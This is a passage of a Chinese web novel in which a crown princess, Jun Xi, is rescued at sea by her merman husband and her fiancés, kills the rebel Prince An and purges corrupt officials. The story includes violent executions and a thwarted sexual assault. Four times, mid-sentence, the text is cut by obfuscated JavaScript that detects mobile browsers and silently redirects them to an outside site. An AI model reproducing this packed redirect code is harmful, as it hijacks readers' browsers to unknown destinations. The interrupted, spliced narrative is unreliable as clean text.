“凤染统领,我同阿炽也一起去。”
凤染为难,此去危险,她怕分不出神来保护东方炽和东方凌。
“这……”
东方炽却不欲多说,直接先斩后奏,拉上东方凌飞上战船,立于船头,桀骜锋利的眉眼尽是意气风发。
“凤统领,与其担心我们兄弟二人,不如先担心自己。”
“本少教主的未婚妻,本少教主定然会亲自将她安然无恙带回来!”
他嘴唇微翘,带着少年独有的骄傲。
“别忘了,本少教主和阿凌都是六阶武者!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666057|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
东方凌将身体藏在东方炽身后,脑海中天人交战许久,终于鼓起勇气探出半个脑袋。
“战船也是我们家的。”
凤染心中一思索,有道理啊,说起来,她们才是蹭船的那个……
东方炽和东方凌也不是傻子,此行危险,为了能顺利接应君羲,他们二人带了教中半数高手。
“少教主威武!”
凤染能怎么办?
殿下的男人个个不是好惹的,还是让太女殿下处理吧,头疼。
“给炽公子、凌公子以及拜月教诸多义士拿盔甲来。”
分秒必争,以上过程描述多了些,实际上,只不过不到半盏茶功夫。
“等等!本少庄主也要去!”
身后传来马蹄声,他们回头,就看见一个红衣少年郎骑着一匹白马飞驰而来。
他脸色焦急,眼底青黑,看上去是不眠不休赶路所致的疲倦,但他眼神却坚定如铁,亮若繁星。
正是纳兰轻尘!
他终归是不放心,一直派人悄悄打听君羲动向,没想到还真让他探听到了。
拜月教异动,东方炽、东方凌和他一样,同是君羲未过门的未婚夫,只要盯紧他们,就能得到君羲最新动向。
君羲和东方兄弟二人的绯闻在拜月教中传得有鼻子有眼,加上这次,君羲似乎失踪了?
因为拜月教中人在暗暗寻找君羲下落,东方炽和东方凌也多次往返于羽城和南海海岸。
纳兰轻尘坐不住了,君羲很有可能遇上了致命危机,他还等着同君羲在比一场剑,君羲不能死!
所以他抢了马,一路上根本不敢合眼,生怕错过了时机。
好在,他赶上了!
凤轻:得,都是殿下的男人们,这下可算是……
额,还没来齐全。
殿下还有两个未婚夫郎在北方,她不由得庆幸,还好没全在漾州、绥州,不然,那场面可就“吓人”了。
东方炽和东方凌没拒绝纳兰轻尘,默许他上了战船。
东方炽讥讽一句。
“哼,你最好是别拖后腿。”
纳兰轻尘礼貌一笑,死对头什么的,果然很讨厌。
“少教主放心,本少庄主就算累了一天一夜,照样能打翻你!”
三人可谓是互相看彼此都不顺眼,无声的刀光剑影在三人眉眼间杀来杀去。
风轻目送战船离去,心里替君羲捏了一把汗。
四个男人齐聚一堂,太女殿下该如何应对自如?
……
溟汐带着君羲向她指的方向游了半个时辰,上百艘战船披着金光由远及近映入眼帘。
溟汐心里一喜,是凤染她们!
“妻主,援军到了。”
等等……
欣喜过后,随着他离船原来越近,溟汐漂亮的碧眸危险半眯。
“妻主,你的三个未婚夫郎也都到了呢。”
第89章 原来,她喜欢年下喊姐姐这个调调?
溟汐说这话时,眼底深沉的墨绿色仿若深潭掀起漩涡,气势汹汹。
在百艘战船面前,一尾人鱼显得渺小,可他没有半分退缩的意思。
巧恰君羲现在还处于意识混沌时,溟汐根本不遮掩他锋芒毕露的一面,抱着女人的手臂抱得更紧,身后传来追兵喊打喊杀的声音。
“杀了前面的狗男女,给小姐们报仇雪恨!”
“杀,给惨死的姐妹们报仇!”
追杀君羲她们的鲛人红着眼,并肩作战的姐妹们被溟汐砍菜切瓜般杀得稀碎,若不是鲛人的血是蓝色,那大批大批鲛人**的鲜血定然会染红一片海域。
她们这时才后知后觉想起,溟汐身为雄性鲛人却能在鲛人军队中立下赫赫威名,屡次替鲛人族建下奇功。
原来,溟汐战神的名号并不是徒有虚名,更不是鲛人女皇为了给唯一的孩子铺路而虚构的谎言。
加上她们此次追杀君羲师出无名,被女皇抓住了小辫子。
女皇和逃亡的溟汐夫妇形成包夹之势,一个边逃边杀,一个边追边杀。
她们这次损失惨重,积累了百年的势力轰然倒塌,就如同一棵盘根错节的参天大树,如今一夕不慎,就被人全根拔起。
七个族老倾巢而出,如今**得只剩三个。
最开始做抹脖子动作的瘦族老已经像瘦竹竿一样折成两截了。
一个胖模样的族老仰天痛哭,早知会如此,她就该劝阻老姐妹们,不要冲动。
现在好了,当初一起打下鲛人族地的老姐妹们死的死,伤的伤,唯一的后代也被君羲打成了废人!
悔之晚矣。
“哈哈哈……苍天无眼呐!”
那胖子导情绪悲怮到极致,竟然留下血泪。
事已至此,就算拼上她这把老骨头,她也要拉上女皇最宠爱的儿子以及最得意的儿媳陪葬!
她要让溟霜知道,即便胜了她们又如何?到最后还不是孤家寡人一个。
当初被她们逼迫,导致此生挚爱的伴侣抑郁而终。
若她现在能杀了溟汐和君羲,黄泉路上,也有脸面见昔日的好姐妹们。
“**吧!”
那胖族老脸上沟壑纵横,眼神狠厉,犹如九幽地深处的恶鬼,带着不顾一切想要自爆拉上她们呢一同下地狱的决心。
蕴含一百多年深厚内力的鲛珠,在体内疯狂运转,她根本不顾伤势,朝君羲和溟汐靠近。
“妻主,这老不死的想自爆和我们同归于尽,我选送你上战船。”
君羲一把抓住溟汐的手腕,无声摇了摇头。
“阿汐,别以身犯险,你的命比她们金贵数万倍。”
她一路上都是被溟汐好好抱在怀中,就连半点风浪都没受过,在男人怀里休息了两个时辰君羲,此刻又恢复了神勇。
此刻可不是在闺房,她堂堂储君,不能表现得太虚弱。
“阿汐,孤好了。”
溟汐抿唇,还是听话松开了紧紧抱住女人的手。
只是,他的视线总是锲而不舍地追寻女人的身影,心里的燥意更甚。
追兵就在身后虎视眈眈,溟汐强行克制住发热期膨胀的独占欲,一只手紧紧抓住挂在脖颈上的琉璃瓶子。
琉璃瓶子是透明的,里面装了君羲的心头血,是红色。
正巧,君羲脖子上也有一个同款的透明琉璃瓶,里面装的是溟汐的血,是蓝色的。
一红一蓝,代表着她们二人之间深深的羁绊。
君羲仰头,想起溟汐之前说的话,为首最显眼的战船上,果然站着三个各有千秋的美男子。
眉心天生一点朱砂痣,同身上红衣交相辉映的少年剑客——纳兰轻尘。
天使面孔却性格孤僻阴郁的东方凌。
眉眼间桀骜锋利、荷尔蒙十足的阳光美男东方炽。
他们此刻都似笑非笑看着君羲,东方炽一脚踏在船头,俯瞰若浮萍般渺小无依的君羲二人。
看到君羲的第一眼,他心里是生气的。
生气她桃花运太旺盛,不过和弟弟打个架的功夫,人就被整个偷走了。
更生气她展露出来的魅力和温柔让他和弟弟都动了心。
可气到最后,他发现,只要君羲能平安无事,这些翻涌的怒气以及焦急的情绪就都不重要了。
此时行事严峻,那胖族老虽然没什么本事,但百年来占据鲛人族重要位置,练功所需的灵丹妙药不知吃了多少,就算是一头猪这样喂了百年,内力也不容小觑。
东方炽不再犹豫,挥手命令手下放下绳梯,以便君羲二人脱困。
至于那拼死也要杀了君羲的胖族老?不好意思,她们此行装备精良,凤染她们带了火铳。
只要距离够近,猝不及防之下,武功再高的人也会死于非命。
君羲恢复了战场上的冷面威严神色,她一只脚踩在绳梯上,另一只手稳住绳梯的一侧,她朝男人伸手。
“阿汐,走。”
溟汐毫不犹豫将手放在女人手中,只感觉到“唰、唰、唰”三两下飞跃,君羲就带着他上了战船。
刚在甲板上站稳,就感受到了四个夫郎关爱的眼神。
君羲尬笑几声,“哈、哈、哈。”
“孤很好,没受伤,也没吃亏。”
东方炽别扭地侧过头,冷哼。
“没事就好。”
“下次你再失踪,本少教主可就要揭竿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666058|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
而起了。”
东方凌话少得几乎没有,也就在君羲出现在战船甲板上的那一刻,他才鼓起勇气,弱弱喊了一声。
“妻主。”
若不是这一生,妻主暴露了他的存在,船上的人仿佛都将他当成了透明人。
这点正合东方凌意,他只想在一个阴暗的角落,觊觎着阳光,悄悄摸摸地生长。
但唯独在君羲面前,东方凌不想待在孤独的角落里自生自灭,相反,他想将女人的目光全部吸引在他的身上,若是只能看他一个人,那便最好了。
纳兰轻尘本来还有些尬尴,一时冲动骑走了雪月剑庄里最好的宝马,一路上不曾,歇息过一刻……
难不成真的是为了和君羲承诺好的下一次比试?
他本以为是,直到现在看到了君羲和溟汐甜蜜的互动,一颗心酸酸的难受,纳兰轻尘这才正视内心。
男女之事他只是迟钝,并不代表他不懂,不过是不愿意往男女情爱的方向去想罢了。
他开口暴击。
“姐姐,我们来接应你了。”
君羲:……
真的很会火上浇油!
溟汐、东方炽和东方凌眼神带着一言难尽的以为。
原来,君羲最喜欢听他/他/他在床笫上喊姐姐,不过是因为她就喜欢年下这个调调。
坏妻主到底让多少人喊过她姐姐?
眼神嗖嗖地往君羲身上射,君羲好想逃,原来,这就是多了一个人的四人修罗场的感觉。
好在,追兵拯救了她的尴尬。
“不好!他要炸船!”
东方炽笑得风淡云轻,一切都在他的把控范围之内,他悠悠地伸出手,手下便恭敬地将一把装填好**的火铳放在他的手上。
他右脚踩在船头的船舷上,左脚落在甲板上作为支撑。
左手手持火铳,手肘落在左腿上,他唇角的笑是那么的肆意张扬。
东方炽单闭上一只眼,瞄准、扣动**,**发射。
砰!
近距离下,**击中胖鲛人族老眉心,蓝色的血雾在空中炸开,她的头,差点就没了。
凭着一鼓作气的杀意,想要追杀君羲二人的鲛人见状,眼底深处满是惊疑不定。
这是什么武器?
好厉害,好可怕!
胖族老可是有百年内力,放弃了自身生命,一心想要同归于尽,居然轻飘飘的就被这么杀掉了?
他们甚至没有看清楚,胖族老是**掉的,就从她后脑壳上看见了一个血肉模糊的圆形孔。
人的恐惧往往来自于未知。
此时此刻的她们便被那把火铳吓破了胆子,根本不敢越雷池半步。
可惜……
第91章 杀伐果断,君凌身死
四个美男反应各不相同,溟汐不明真相,所以心里有些怀疑。
东方炽目睹君羲宁愿**焚身也要把沈长卿扔进千羽湖溺死,他是在场中人里,最早知道君羲绝对不喜欢沈长卿的人。
东方凌则是单纯觉得以君羲挑剔的选夫郎眼光,根本看不上沈长卿。
纳兰轻尘则是脑袋缺根弦,君羲说误会那就肯定是误会。
君羲决定不在这个问题上就纠结,日久见人心,时间久了,他们自然会知道,她对沈长卿只有厌恶、杀心。
至于为什么现在不料理君凌和沈长卿?
她只是恶趣味想欣赏一下狗咬狗、一嘴**的好戏罢了。
另外,上一世沈长卿不是自诩和君明月两心相悦吗?
君羲想等,等沈长卿和君凌完成婚礼,看看沈长卿嘴里对他情深一片、守身如玉的高洁“明月”是否会如她所想。
据宫中眼线探查,她这位好妹妹,见人说人话,见鬼说鬼话,上一世用在沈长卿身上的套路,居然是早早就用在了柳如风身上。
君明月和柳如风甚至还有了孩子,女儿给母亲戴绿帽。
啧啧,真是精彩极了。
君眸中异彩连连,她有些迫不及待想回京收拾君明月了。
君凌不知君羲想法,她这个人唯我独尊,沈长卿屡次拒绝让她心里怒火更甚。
不顾还有女侍奴仆在场,撕扯沈长卿身上的衣服,看着他凄惨可怜的模样,听着他绝望的呼救,君凌更加兴奋。
“荡夫!”
再看下去就要不可言说了,君羲怕污了溟汐他们的眼睛。
“咳,皇妹好兴致,孤祝贺皇妹娶得美娇郎。”
君凌差点以为自己幻听了,在她的府邸,怎么可能听到君羲的声音?
随手丢下沈长卿,就像丢弃一块脏抹布,任由他瘫软在地上,血和泪沾湿地面。
沈长卿很绝望,他刚刚真的以为自己要**,还是最**的死法。
可笑的是他脑海中浮现的居然是上一世君羲“欺辱”他的画面,和君凌比起来,君羲的那些举动,根本算不得欺辱。
君羲只不过是不爱他,冷眼旁观罢了。
君凌刚刚的禽兽之举,让沈长卿心有余悸,侧脸贴在地上,双眸含着泪,导致君羲的身影在他眼中变得有些模糊。
沈长卿突然很委屈,嘶哑着嗓音质问。
“陛下,你不是说最爱我吗?”
君凌的举动给沈长卿带来的冲击力太大,他几乎混淆了两世记忆。
“为什么不救侍身?你为什么来得这么迟啊……呜呜……”
君羲确认了,沈长卿重生了。
真是可笑,上一世背叛她的是他。
将她所有的真心宠爱、弃如敝履的也是他。
甚至在她濒死之际,同杀害她的幕后主使一起到她面前趾高气扬的也是他。
君羲从来不欠沈长卿。
她不过是将上一世对他的偏爱,尽数收回而已,他有什么资格委屈?
皇贵夫不是口口声声,她的爱虚伪,她的宠令他恶心吗?
现在这番做派又是为何?
简直让人笑掉大牙!
君羲内力传音一句,“咎由自取。”
然后就冷漠别开头,同身侧夫郎们说说笑笑。
“怎么可能喜欢他?他生得这般丑,看一眼都觉得恶心。”
“姐姐的眼睛没出问题呢,沈长卿的确是一个货真价实的虚伪小人。”
君凌怒不可遏,君羲怎么敢的?
就这么正大光明的站在喜堂外面,水灵灵出现在她面前?
这里可不是玉京城,而是安王府!
也太不把她放在眼里了!
果然,无论过了多久,君羲还是这般自负,让人生厌。
“太女殿下何时到的绥州?怎的不跟本王知会一声,本王也好给皇姐接风洗尘。”
想当初,君羲和君凌一同在太学求学之时,都是文武百官,天下百姓心中的储君人选。
可惜,君凌败了。
所以,她现在坐在轮椅上,无论心里面多么不愿意,也只能仰视君羲。
君凌心里就仿佛有上百条毒蛇在缠绕撕咬,眼神就像淬了毒一样。
“绥州不比玉京城所在乾州繁华,若是有招待不周之处,还请太女殿下多多包涵。”
君凌笑得一脸和善,就像之前她们二人之间惨烈的争斗从未存在过,她的心里也从不曾怨恨过君羲一样。
大军压境,在她从南海归来之前,凤羽已经率兵将绥州、漾州两个大洲的所有官员府邸全都围了。
其中,重点便是安王府。
天时地利人和,优势全然在君羲。
君羲根本不想和敌人虚以委蛇,绝对的**下,任何魑魅魍魉都会无所遁形!
“君凌,你心里怕是早就恨毒了孤吧?”
君羲觉得优势在她,想打开天窗说亮话。
但君凌只想蛰伏,认为现在还不到时候,所以不想撕开表面的和平,仍旧在装。
“怎么会呢,你可是本皇最崇拜的皇姐。”
君羲唇角勾起一抹讥讽笑意。
“哦?是打断你双腿,将你流放至偏远之地的崇拜吗?”
她眉梢挑起,眼里是毫不掩饰的恶意,拉长尾音刻意唤她。
“皇妹。”
君凌险些破防,笑得和善的脸上陡然僵硬,差点控制不住露出一抹狰狞。
她干巴巴说了一句,半低下的头看着十分无害。
“皇姐说笑了。”
垂在轮椅两侧的手却是疯狂比手势,君凌心中愤怒不满至极,她不过成一个亲,手底下的人便都懒散了?使唤不动了?
她都召唤手下这么久了,居然没有一个人出来……
殊不知她的一举一动,就像一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666060|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个跳梁小丑,尽数被君羲看在眼里。
君羲等君凌快要气急败坏之时,悠悠补刀。
“皇妹在找人?”
她没骨头似的倚在溟汐身上,拍了下手掌。
凤羽一手提着一个君凌豢养的私兵,她身后跟着排列整齐的凤羽军,每个人手中都压着一个安王府的人。
其中,杨素衣赫然在列。
此刻她不复青衣谋士的潇洒从容,眼底布满血丝,绝望地朝着君凌拼命摇头。
凤羽也很会来事,单膝跪下,当场剜君凌的心。
“太女殿下,属下幸不辱命,所有逆贼全部在此,请太女殿下发落。”
“凤羽将军辛苦了,快快请起。”
君凌目眦欲裂,什么时候……
君羲到底什么时候将安王府控制住的?她怎么全然不知?
就像五年前,她也不知为何会败在君羲手中一样。
五年前一败,她丢了储君之位。
五年后再败,难不成她便要在此丢了这条命吗?
君凌已然成了光杆司令,偌大的安王府,只有她和沈长卿,没有被凤羽军抓起来控制住。
可她一点都不想死!
死亡的威胁下,君凌什么也不顾了,挣扎着从轮轮椅上摔下来,手脚并用朝君羲的方向爬过去。
身上染了灰尘,姿态狼狈也全然不顾。
君凌此生最恨的人便是君羲,让她在君羲面前露出屈服、狼狈的一面比杀了她还难受。
但,君凌为了保住性命,不得不屈服,她只能在心中不断地说服自己。
留得青山在,不怕没柴烧。
只要没死,她就还有东山再起的机会。
一时的**算不得什么,迟早有一日,她要将今日的**成千上万倍地从君羲身上讨回来。
君羲冷眼看君凌像丧家之犬一般狼狈不堪爬行。
五年前,碍于太皇太后的面子,君羲已经破例放了君凌一命。
只要凌此生在绥州安安分分做她的安王,荣华富贵一生不是问题。
可她偏偏同君明月合谋,想杀了她……
君羲对想要自己性命的人,从不会心慈手软。
“没用的,皇妹。”
君凌心里一颤,茫然仰头看向君羲,眼底怨恨的神色还来不及收回。
君羲在说什么,什么没用?
其实君凌的心里多少有了猜测,但人在对自己不利的环境下,都想自欺欺人。
君凌也不例外,她不愿意往最坏的方面去想。
“皇姐,以前在太学读书时,我俩的感情最好,你都忘了吗?就算你都忘了,那太皇……”
就算把语数放到最快,君凌也来不及说完剩下的话了。
君羲站直身体,慵懒的神色变得肃杀,拔出腰间软剑,寒光一闪,君凌的脖子上就出现了一道血线。
“嗬、嗬……太……后……”
第92章 纳兰轻尘的喜欢,像清风吹拂
君凌还想用太皇太后压君羲,但她没想到,君羲根本不给她废话的机会。
她手起剑落,君临这条蛰伏在大凰王朝偏远之地的毒蛇**。
杨素衣瞪大双眼,王爷**,就这么**……
都怪她,当初为什么没有劝阻王爷,若不是君凌鬼迷心窍和君明月合作,君羲根本不会想到杀了她。
杨素衣疯了。
可惜,在场的君羲等人,无一人在意。
君羲蹙眉,软剑在君凌身上擦拭。
“安王勾结倭寇,已然浮诛!”
凤羽心领神会,大手一挥。
“凤羽军听令,安王君凌罔顾太女隆恩,暗中勾结倭寇,祸害百姓,死有余辜。”
“安王府中必然有大量安王同倭寇勾结的证据,给本将军搜!”
命令一下,训练有素的凤羽军便将安王府围得跟铁桶一样。
唯独打开了安王府大门,大量安王伙同两州高级官员,勾结倭寇,**百姓的证据全都被丢在安王府门口,激起了民愤。
若是暗月在这里,一定会在心里再次感慨,太女殿下又长进了。
瞧瞧这事儿办得多漂亮,既杀了安王,又让天下百姓心服口服,这就叫做——
师出有名,民心所归!
每一封同倭寇来往的信件以及同两州高级官员分赃**的账本,都是两州百姓受的欺压,流的血泪。
君羲此行,杀了君凌,太皇太后就算知晓,也无话可说。
除非,太皇太后不想做了,为了君凌,愿意失去一切尊荣。
在任何一个朝代,勾结外贼祸害祖国百姓,都死不足惜,天下百姓只会拍手称快。
盘踞在绥州的毒瘤,安王,就此被拔出。
君羲心里松了一口气,总算不辜负她不辞**御驾亲征。
解决完安王,就能治理好受其荼毒的绥州、漾州。
绥州、漾州都治理好了,治理好大凰王朝还会远吗?
“妻主,杨素衣怎么处置?”
是溟汐,君羲回过神,她可没忘记正是杨素衣埋伏才让溟汐险些丧命。
“阿汐想如何处置她?”
溟汐浅笑。
“侍身想如何处置她?妻主便会如何处置她吗?”
君羲点头,一脸纵容。
“嗯。”
溟汐笑得更漂亮了,他伸手环上君羲的腰。
“借妻主软剑一用?”
“都依你。”
溟汐得了君羲许可,抽出君羲腰间软剑,一步一步走向被凤羽军压着跪在地上的杨素衣。
“你可以上路了。”
唰——
血液飞溅,溟汐拿出一张雪白的帕子,仔细擦拭软件上的鲜红血迹。
杨素衣疯了又如何?关他什么事?
溟汐只知道,任何试图伤害他心爱之人的人,都是敌人。
对待敌人仁慈,便是对待自己残忍,他可不会这么愚蠢。
将软剑一丝不苟,擦得干干净净,溟汐才将软剑还给君羲。
君羲诧异,溟汐好细心。
“阿汐,你怎么知道……”
溟汐将女人圈在怀中,下巴搁在女人发顶,餍足地眯起双眼。
“羲羲,用心即可。”
他对君羲,一向用心。
东方炽:……
东方凌:……
纳兰轻尘:“真不愧是鲛人兄!义气!”
东方凌和东方炽闻言,眼神不约而同落在纳兰轻尘身上,突然觉得……
纳兰轻尘是个二傻子怎么办?
或许把纳兰轻尘是做死对头……是对他们的一种侮辱,怎么会有人心大成这个样子啊?
他难道没看出,溟汐眼底赤裸裸的炫耀和得意吗?
兄弟二人摇摇头,齐齐叹了声气。
纳兰轻尘莫名其妙,问道:“你们二人这是怎么了?唉声叹气的,现在的局势难道不是全在殿下的掌控之中吗?”
东方凌:傻子。
东方炽:好笨。
溟汐眼神一眯,纳兰轻尘倒是难得的心思单纯,比起八百个心眼子在身上的东方两兄弟,他更喜欢和纳兰轻尘这种不谙世事的小公子相处。
溟汐轻笑出声。
“纳兰公子说得对,眼下优势在我方,必须要一鼓作气,将绥州、漾州一举拿下。”
溟汐了解君羲,攘外必先安内。
要想解救被安王等人卖给倭寇的百姓,必须先将漾州、绥州的内患处理干净,才能有余力远征倭寇。
君羲心里的确有些担心被倭寇掳走的子民,但是要一件一件做,饭要一口一口吃。
她知道,此事必须得有万全之策,断然不能操之过急。
“阿汐,现在鲛人族已经肃清七位族老势力,你可愿意助孤一臂之力?”
溟汐眼神亮晶晶,他终于被妻主委以重任了!
他胸前还挂着殿下的心头血!
妻主还说过,爱他。
溟汐想起这些甜蜜,发情期的不安燥意全都被安抚。
“羲羲,你之所愿,便是我之所愿。”
“鲛人溟汐,永远不会拒绝羲羲。”
君羲眼底柔情似水,这就是被一个人全心全意爱
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666061|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着的感觉吗?
真是……
让她上瘾呢。
君羲单手勾住溟汐脖子,趁着男人顺从低头的瞬间,亲了上去。
她说:“临别吻。”
溟汐眼底柔成一片,心里也软成一片。
好喜欢羲羲~
事不宜迟,溟汐告别君羲,就要回鲛人族,替君羲打探倭寇所在,周围地形等。
直到视线尽头,再也没有溟汐身影,君惜才收回视线。
她在心里默默道:阿汐,一路顺风,孤等你平安归来。
东方凌和东方炽眼底苦涩,原来君羲真正全心全意爱上一个人时是这般美好的模样,让人心驰神往。
纳兰轻尘心中也有触动,他本就承认对君羲有些喜欢。
江湖儿女快意恩仇,喜欢就是喜欢,父亲和母亲也教导过他,喜欢便要勇敢去追求,不要给人生留下遗憾。
所以,纳兰轻尘的喜欢,就像是一缕清风,温柔地在君羲周围吹拂。
他并不强势,无论君羲在意或是不在意,都在那里。
少年剑客慕强,首次春心萌动的对象,便是打败他的君羲。
“殿下,可需要雪月剑庄帮忙?”
纳兰轻尘古道热肠,以往行走江湖时,遇到不平事,也会挺身而出。
但,纵使雪月剑庄已是江湖正道第一势力,终归比不上一国之力。
纳兰轻尘很想为两州百姓做点什么。
君羲自然不会放过一切免费劳动力,更何况,雪月剑庄还不是普通的劳动力,雪月剑庄都出手相助了,其余正道势力还会袖手旁观吗?
君羲心情很好的点点头,心中暗道:果然,远离恶毒男人,她的世界全是晴天。
上一世,为她而死的九个夫郎,旺她!
“纳兰,若有难处,不必为难。”
纳兰轻尘明白,君羲这是需要雪月剑庄帮忙,而且,她好贴心,居然还在替他着想,怕他为难。
果然,传言不可尽信。
君羲才不是什么**呢,她是温柔的储君。
安王府其余被抓起来的人,只要是被迫入伍或真心投诚的,君羲都放了。
但,她也不想放虎归山,所以,最好的办法就是以工代赈。
让这些人忙起来,娶夫生子,安稳下来,自然就不会有反叛之心了。
这也是帝王之道。
社会安稳,能少叛乱。
“太女殿下,这些人全都发配去修缮城防了,接下来?”
君羲眸色一厉,下达命令。
“随孤杀贪官,定民心!”
第93章 三个未婚夫争抢侍寝权
凤羽军不愧大凰第一军之名,在君羲下达命令之前,就已经将所有涉事官员全部绑到了一块儿。
漾州和绥州接壤处有一座城池,名为浩然城,君羲特意将执刑地点选在了此地。
希望,此次血洗两州官场后,浩然正气能长存百姓心中。
她会给漾州、绥州乃至天下百姓活下去的希望。
“诶,听说了没?太女殿下亲临浩然城,准备给百姓做主,肃清官场呢!”
“你这算什么消息,我还知道,太女殿下已经同进犯大凰海岸的倭寇打了一仗,准备摸清情况后就解救被困的父老乡亲们呢!”
“太女殿下广邀两州百姓前去浩然城观看贪官污吏伏法,反正我要去,有没有一起的啊?我们做个伴。”
“你疯了!那可是太女殿下……”
“你才疯了,眼见为实,耳听为虚,知不知道?”
“不能因为传言就否定太女殿下,总要亲眼看看才能知道大凰的未来帝王能否将大凰治理得风调雨顺。”
“……”
君羲派托将事情传扬出去,就是要两州百姓归心。
这么多年来,漾州和绥州百姓深受贪官污吏压迫,心里肯定有怨气。
治水之道,堵不如疏。
治人之道,亦是如此。
君羲身骑高头大马,特意披上了华而不实的红色披风。
她长相本就自带三分英气,此刻墨发高速成马尾,绣着金色暗纹的红色披风披于身后,被风吹得猎猎作响。
银甲**,气势非凡。
擒贼先擒王,安王伏诛后,凤羽军接管漾州、绥州两州城防顺利得不可思议。
君羲的残暴对两州百姓而言,只存在传言之中,并未亲身体会过,但安王及其党羽的残忍压迫却让她们刻骨铭心。
所以,别说反抗了,她们就差举旗欢迎了。
浩然城,前来观看行刑的百姓自发夹道欢迎。
她们也是第一次见大凰太女,只觉得太女不愧是太女,天生天潢贵胄,一身气势让他们不自觉臣服。
“那就是太女殿下?”
“简直就是人中龙凤!”
“太女殿下好帅啊……”
在两州百姓面前顺利露了回脸,君羲脸都快绷僵了,好在一切顺利。
她回了浩然城城主府,城主已经被凤羽军抓起来了,其余男眷幼童全都被软禁在城主府中某偏僻小院。
君羲刚一回来,翻身下马后,做的第一件事便是长长吐了一口气。
对她而言,在百姓面前展示储君威仪,比和敌军打一仗还累。
好在有三个贴心未婚夫郎接风洗尘,早早便按照君羲喜好重新收拾好城主府主院。
东方炽和东方凌同时迎了上来,哥哥替君羲解下披风,弟弟给君羲拂去铠甲上的灰尘。
君羲闭眼,张着双臂任由兄弟二人动作,突然察觉到有一道视线紧紧锁在她身上,睁开眼一看——
纳兰轻尘。
少年剑客眉目如画,眉心一点朱砂痣仍旧同第一次见面时一样惹眼。
他双手拿剑环胸,神色不明地落在君羲三人身上……
那眼神很奇怪,这么说呢……
君羲认为,非要去形容此刻纳兰轻尘的眼神,可以归结为好奇、探究、以及想要学习一二。
君羲忽然有些不自在了,审判两州官员的日子是明日,今晚需要在城主府休息一晚。
等兄弟二人收拾完,君羲抬手握拳抵在唇边,轻声咳了一下。
“咳,天色已晚,大家也忙碌了数日,想必也都乏了,都先下去休息吧。”
东方炽第一个响应君羲。
“殿下呢?”
掌控两州城防,剿灭安余孽,安抚惶惶不可终日的百姓……
说起来容易,做起来却难,其中很多事情很繁琐。
这些天,君羲几乎事必躬亲,忙得脚不沾地。
东方炽将这一切都要看在眼里,不过短短三日时间,君羲看上去便疲惫了许多,东方炽是真的有些心疼君羲。
“我房中准备好了安神香,不如殿下去我屋中歇息一晚?”
东方凌眼神唰一下就变了,他说怎么大早上的,哥哥便去教中传神医制作了有助于睡眠安神的安神香,原来是在这里等着呢。
真是狡猾呢。
不过上一次,就是因为他和东方炽起了内讧,才让溟汐有机可乘。
所以,这一次,东方凌就算心中有些愤愤,也没说出口。
反正,哥哥的院子就是他的院子。
等殿下去了东方炽房中,他也可以分得一席之地。
东方炽和东方凌两兄在溟汐出现后,迅速达成了一致对外,共同争抢君羲宠爱的决定。
他们二人想得也开,君羲是大凰太女,以后的九五至尊。
身边不可能只有一人,既如此,与其他们兄弟二人争得你死我活便宜了外人,不如团结在一起,凭借双生子的优势抢占君羲心里的一席之地。
于是,东方凌垂眸,眼神不着痕迹从纳兰轻尘身上一扫而过,帮着东方炽劝君羲。
“姐姐,你辛苦了整整三天,也该好好休息一下了,明日还有一场硬仗要打呢。”
见君羲没有回话,东方炽再接再厉,伸手心疼抚过女人疲惫的眉眼。
“殿下,去休息一下?”
君羲心里一突一突地跳,若她没记错,前不久,他们兄弟二人还打了一架,现在怎么一唱一和的,总感觉有阴谋……
不是君羲多疑,是她对东方炽、东方凌的性格有所了解,独占是他们的本人,现在都愿意共享她了?
君羲原本以为要他们兄弟二人打成共享意愿还需要很长一段时间,没想到,她不过被溟汐掳去南海深处一趟回来,情况就发生了逆转。
“那……”
纳兰轻尘忽然发现,君羲的几个夫郎都是又争又抢,若是他在不温不火下去,说不定,君羲身边的位置就会少他一个。
